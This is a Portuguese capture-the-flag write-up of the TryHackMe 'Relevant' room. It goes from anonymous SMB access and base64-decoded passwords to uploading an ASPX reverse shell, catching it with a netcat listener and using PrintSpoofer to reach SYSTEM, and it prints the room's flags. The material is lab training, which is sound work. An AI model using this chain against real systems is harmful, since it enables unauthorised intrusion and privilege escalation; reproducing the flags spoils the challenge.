Room Information#

Penetration Testing Challenge.

TryHackMe - Relevant;
https://tryhackme.com/room/relevant.

Introduction#

Nessa sala temos um pequeno role-play, como descrito pelo autor:

1
You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days.
2

3
**Scope of Work**
4

5
The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:
6

7
- User.txt
8
- Root.txt
9

10

11
Additionally, the client has provided the following scope allowances:
12

13
- Any tools or techniques are permitted in this engagement, however we ask that you attempt manual exploitation first
14

15
- Locate and note all vulnerabilities found
16
- Submit the flags discovered to the dashboard
17
- Only the IP address assigned to your machine is in scope
18
- Find and report ALL vulnerabilities (yes, there is more than one path to root)

Vamos ver o que conseguimos.

Information Gathering#

Port Scanning#

Vou ser honesto que aqui eu deixei de usar o cérebro e perdi muito tempo;
Uma etapa crucial, e esqueci de escanear todas as portas com -p-;
Até que cheguei longe, mas na parte de continuar enumerando, os serviços simplesmente não conectavam e não davam nenhuma informação muito útil (sério, eu perdi muito tempo);
Portanto, fica como lição: em CTF’s, sempre que possível, escaneie TUDO;

1
# Nmap 7.98 scan initiated Sat Jan  3 00:17:49 2026 as: /usr/lib/nmap/nmap -Pn -p- -oN nmap-out.txt 10.64.182.41
2
Nmap scan report for 10.64.182.41
3
Host is up (0.16s latency).
4
Not shown: 65527 filtered tcp ports (no-response)
5
PORT      STATE SERVICE
6
80/tcp    open  http
7
135/tcp   open  msrpc
8
139/tcp   open  netbios-ssn
9
445/tcp   open  microsoft-ds
10
3389/tcp  open  ms-wbt-server
11
49663/tcp open  unknown
12
49666/tcp open  unknown
13
49667/tcp open  unknown
14

15
# Nmap done at Sat Jan  3 00:25:23 2026 -- 1 IP address (1 host up) scanned in 454.59 seconds

Podemos notar aqui alguns serviços interessantes, como:
- 80, serviço HTTP;
- 135, serviço RPC;
- 139 / 445, serviço SMB;
- 3389, serviço RDP;
- E, por fim, 3 portas desconhecidas (vamos investigá-las).

Web Directory Scanning#

Rodei o gobuster na porta 80, mas ele não conseguiu encontrar nada além de endereços com status 4xx e 5xx, então, nem vamos perder muito tempo aqui;

1
# gobuster dir --url http://10.64.184.89/ --wordlist /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -o gobuster-out.txt
2
...
3
/*checkout*          (Status: 400) [Size: 3420]
4
/*docroot*           (Status: 400) [Size: 3420]
5
/*                   (Status: 400) [Size: 3420]
6
/devinmoore*         (Status: 400) [Size: 3420]
7
...

Secret Ports#

Lembram das portas que encontramos? Então, acessando elas com o netcat (nc 10.64.182.41 <port>), notei que apenas a porta 49663 respondia, e pelo que podemos ver roda um servidor web nela, semelhante ao que temos na porta 80:

1
# nc 10.64.182.41 49663
2
A
3

4
HTTP/1.1 400 Bad Request
5
Content-Type: text/html; charset=us-ascii
6
Server: Microsoft-HTTPAPI/2.0
7
Date: Sat, 03 Jan 2026 00:29:39 GMT
8
Connection: close
9
Content-Length: 326
10

11
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
12
<HTML><HEAD><TITLE>Bad Request</TITLE>
13
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
14
<BODY><h2>Bad Request - Invalid Verb</h2>
15
<hr><p>HTTP Error 400. The request verb is invalid.</p>
16
</BODY></HTML>
17
^C

Enumeration#

General Enumeration#

Reiniciando a máquina algumas vezes, consegui me conectar ao serviço RPC (mas o RDP continuava OFF);
Nele não consegui muita coisa, então nem vou perder tempo falando o que consegui (nada muito além de informações que com a shell que pegamos mais a frente não nos mostra).

Samba Enumeration#

Aqui de cara teste a ferramenta enum4linux (aliás, uma das melhores ferramentas para isso), porém, estava dando um problema estranho, ele simplesmente não conectava corretamente;
Então, vamos para o manual, com o smbclient, mas, com que login? Vamos tentar logar como Anonymous;
Notei também que NULL Session (-N) também estão permitidas;

1
# smbclient -L //10.64.182.41 -U Anonymous
2
Password for [WORKGROUP\Anonymous]:
3

4
        Sharename       Type      Comment
5
        ---------       ----      -------
6
        ADMIN$          Disk      Remote Admin
7
        C$              Disk      Default share
8
        IPC$            IPC       Remote IPC
9
        nt4wrksv        Disk
10
Reconnecting with SMB1 for workgroup listing.
11
do_connect: Connection to 10.64.182.41 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
12
Unable to connect with SMB1 -- no workgroup available
13

14
# smbclient //10.64.184.89/nt4wrksv -U Anonymous
15
Password for [WORKGROUP\Anonymous]:
16
Try "help" to get a list of possible commands.
17
smb: \> dir
18
  .                                   D        0  Sat Jul 25 21:46:04 2020
19
  ..                                  D        0  Sat Jul 25 21:46:04 2020
20
  passwords.txt                       A       98  Sat Jul 25 15:15:33 2020
21

22
                7735807 blocks of size 4096. 5099855 blocks available
23
smb: \> get passwords.txt
24
getting file \passwords.txt of size 98 as passwords.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
25

26
# cat passwords.txt
27
[User Passwords - Encoded]
28
Qm9iIC0gIVBAJCRXMHJEITEyMw==
29
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

Onde encontramos credenciais encodadas aparentemente em base64, e decodando:

1
# for pass in $(cat passwords.txt); do echo $pass | base64 -d; done
2
Bob - !P@$$W0rD!123
3
Bill - Juw4nnaM4n420696969!$$$

E usando esse path do share na porta estranha que tínhamos encontrado:

1
# nc 10.64.182.41 49663
2
GET /nt4wrksv/passwords.txt HTTP/1.1
3
Host: 10.64.182.41
4

5
HTTP/1.1 200 OK
6
Content-Type: text/plain
7
Last-Modified: Sat, 25 Jul 2020 15:15:33 GMT
8
Accept-Ranges: bytes
9
ETag: "65e151719662d61:0"
10
Server: Microsoft-IIS/10.0
11
X-Powered-By: ASP.NET
12
Date: Sat, 03 Jan 2026 00:47:52 GMT
13
Content-Length: 98
14

15
[User Passwords - Encoded]
16
Qm9iIC0gIVBAJCRXMHJEITEyMw==
17
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

Podemos fazer uploads e acessar via web, encontramos um vetor de entrada!

Exploitation#

Pronto, encontramos um possível ponto de entrada, isso porque, se conseguimos acessar password.txt, significa que é o mesmo share do SMB que tínhamos descoberto;
Com isso, se tivermos como Anonymous, permissão de inserção de arquivos no servidor, podemos garantir um RCE.

1
# wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/refs/heads/master/shell.aspx
2

3
# smbclient //10.64.182.41/nt4wrksv -U Anonymous
4
Password for [WORKGROUP\Anonymous]:
5
Try "help" to get a list of possible commands.
6
smb: \> put shell.aspx
7
putting file shell.aspx as \shell.aspx (23.0 kB/s) (average 11.8 kB/s)

Acessando http://10.64.182.41:49663/nt4wrksv/shell.aspx e abrindo a porta que setamos ao editar o arquivo da shell, spawnamos uma:

1
# nc -lnvp 4444
2
Listening on 0.0.0.0 4444
3
Connection received on 10.64.182.41 49946
4
Spawn Shell...
5
Microsoft Windows [Version 10.0.14393]
6
(c) 2016 Microsoft Corporation. All rights reserved.
7
c:\windows\system32\inetsrv>

Privilege Escalation#

Usarei como intermediador de arquivos entre minha máquina e servidor o servidor samba que descobrimos;
Não sou acostumado a fazer escalação de privilégios em sistemas Windows, e minha noção é mínima, então aqui eu investi a maior parte do CTF;
Comecei upando o winPEAS para enumerar possíveis vetores de ataque, mas por incrível que pareça ele não me disse nada a não sobre as pastas dentro de C:\Users;
Indo até lá, encontramos a pasta Public, o usuário Bob e por fim o Administrator;
Entrando na pasta do Bob e listando o conteúdo, encontramos user.txt;

1
c:\>cd c:\Users\Bob\Desktop
2
cd c:\Users\Bob\Desktop
3

4
c:\Users\Bob\Desktop>dir
5
dir
6
 Volume in drive C has no label.
7
 Volume Serial Number is AC3C-5CB5
8

9
 Directory of c:\Users\Bob\Desktop
10

11
07/25/2020  01:04 PM    <DIR>          .
12
07/25/2020  01:04 PM    <DIR>          ..
13
07/25/2020  07:24 AM                35 user.txt
14
               1 File(s)             35 bytes
15
               2 Dir(s)  20,885,774,336 bytes free
16

17
c:\Users\Bob\Desktop>more user.txt
18
more user.txt
19
THM{fdk4ka34vk346ksxfr21tg789ktf45}

Mas queremos mais, queremos NT AUTORITHY\SYSTEM;
Como eu disse, não tenho experiência nesses cenários, então investi tempo em pesquisa e write-ups de outras máquinas pra me contextualizar;
Uma falha comum existe quando um usuário tem permissões demais, e podemos verificar isso com:

1
c:\Users>whoami /priv
2
whoami /priv
3

4
PRIVILEGES INFORMATION
5
----------------------
6

7
Privilege Name                Description                               State                ============================= ========================================= ========             SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled             SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled             SeAuditPrivilege              Generate security audits                  Disabled
8
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
9
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
10
SeCreateGlobalPrivilege       Create global objects                     Enabled              SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Aqui temos uma permissão interessante e que não devíamos ter, a SeImpersonatePrivilege;
Pesquisando sobre esse privilégio e sobre a versão do nosso windows (2016), encontrei uma PoC que explora exatamente essas circunstâncias, a PrintSpoofer, então, vamos upar no servidor:

1
# wget https://github.com/dievus/printspoofer/raw/refs/heads/master/PrintSpoofer.exe
2

3
# smbclient //10.66.159.221/nt4wrksv -N
4
Try "help" to get a list of possible commands.
5
smb: \> put PrintSpoofer.exe
6
putting file PrintSpoofer.exe as \PrintSpoofer.exe (35.6 kB/s) (average 21.7 kB/s)
7
smb: \>

Agora, vamos explorar:

1
c:\>cd ..\..\..\inetpub\wwwroot\nt4wrksv
2
cd ..\..\..\inetpub\wwwroot\nt4wrksv
3

4
c:\inetpub\wwwroot\nt4wrksv>dir
5
dir
6
Volume in drive C has no label.
7
Volume Serial Number is AC3C-5CB5
8
Directory of c:\inetpub\wwwroot\nt4wrksv                                                     01/03/2026  07:07 AM    <DIR>          .                                                     01/03/2026  07:07 AM    <DIR>          ..                                                    07/25/2020  07:15 AM                98 passwords.txt                                         01/03/2026  07:07 AM            27,136 PrintSpoofer.exe                                      01/03/2026  07:03 AM            15,974 shell.aspx                                                           3 File(s)         43,208 bytes                                                               2 Dir(s)  20,107,673,600 bytes free
9

10
c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c cmd
11
PrintSpoofer.exe -i -c cmd
12
[+] Found privilege: SeImpersonatePrivilege
13
[+] Named pipe listening...
14
[+] CreateProcessAsUser() OK
15
Microsoft Windows [Version 10.0.14393]
16
(c) 2016 Microsoft Corporation. All rights reserved.
17

18
C:\Windows\system32>whoami
19
whoami
20
nt authority\system

Post Exploitation#

Vamos ver se achamos a última flag no diretório administrador:

1
c:\Users\Administrator>cd c:\Users\Administrator\Desktop
2
cd c:\Users\Administrator\Desktop
3

4
c:\Users\Administrator\Desktop>dir
5
dir
6
 Volume in drive C has no label.
7
 Volume Serial Number is AC3C-5CB5
8

9
 Directory of c:\Users\Administrator\Desktop
10

11
07/25/2020  07:24 AM    <DIR>          .
12
07/25/2020  07:24 AM    <DIR>          ..
13
07/25/2020  07:25 AM                35 root.txt
14
               1 File(s)             35 bytes
15
               2 Dir(s)  20,048,031,744 bytes free

Agora, vamos capturar e finalizar a sala:

1
c:\Users\Administrator\Desktop>more root.txt
2
more root.txt
3
THM{1fk5kf469devly1gl320zafgl345pv}